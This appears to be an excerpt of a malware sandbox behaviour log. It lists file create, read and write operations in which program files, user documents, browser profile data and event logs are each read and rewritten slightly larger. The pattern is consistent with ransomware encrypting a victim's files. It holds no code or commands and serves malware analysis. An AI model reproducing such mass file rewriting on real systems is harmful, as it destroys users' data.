File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js, size = 1833, size_out = 1833	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\uk-ua\ui-strings.js, size = 3249	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png, size = 6272, size_out = 6272	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\faf_icons.png, size = 7688	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js, size = 6449, size_out = 6449	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\da-dk\ui-strings.js, size = 7865	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\he-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\he-il\ui-strings.js, size = 3629, size_out = 3629	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\he-il\ui-strings.js, size = 5045	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\ui-strings.js, size = 7077, size_out = 7077	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ro-ro\ui-strings.js, size = 8493	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-cn\ui-strings.js, size = 6188, size_out = 6188	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\zh-cn\ui-strings.js, size = 7604	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adobe_logo.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adobe_logo.png, size = 649, size_out = 649	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\adobe_logo.png, size = 2065	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\logo_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\logo_retina.png, size = 6955, size_out = 6955	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\logo_retina.png, size = 8371	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png, size = 7431, size_out = 7431	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\illustrations_retina.png, size = 8847	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\cstm_brand_preview2x.png, size = 4659, size_out = 4659	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\!SDEN_INFO!.rtf, size = 6075	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview2x.png, size = 4659, size_out = 4659	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\cstm_brand_preview2x.png, size = 6075	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pt-br\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pt-br\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pt-br\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\it-it\ui-strings.js, size = 848, size_out = 848	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\it-it\ui-strings.js, size = 2264	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark-2x.png, size = 1484, size_out = 1484	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\checkmark-2x.png, size = 2900	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\ui-strings.js, size = 2987, size_out = 2987	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\de-de\ui-strings.js, size = 4403	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\root\ui-strings.js, size = 2388, size_out = 2388	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\root\ui-strings.js, size = 3804	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-It.otf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-It.otf, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-It.otf, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-It.otf, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MinionPro-It.otf, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\ZX______.PFB, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\ZX______.PFB, size = 16384, size_out = 16384	1	Fn
For performance reasons, the remaining 1394 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1168

2470

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\Documents\Database1.accdb, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\Database1.accdb, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\Database1.accdb, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Database1.accdb, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\Database1.accdb, size = 32768	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, size = 512, size_out = 512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage.sqlite, size = 1928	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\lO-5UKEm.xlsx, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx, size = 1371, size_out = 1371	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\N8Jr-vH1xH.docx, size = 2787	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\$GetCurrent\SafeOS\preoobe.cmd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\$GetCurrent\SafeOS\preoobe.cmd, size = 74, size_out = 74	1	Fn Data
File	Write	filename = C:\$GetCurrent\SafeOS\preoobe.cmd, size = 1490	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\RGB9Rast_x86.msi, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Internet Explorer.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Internet Explorer.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Internet Explorer.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Internet Explorer.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Internet Explorer.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx, size = 16384	1	Fn Data
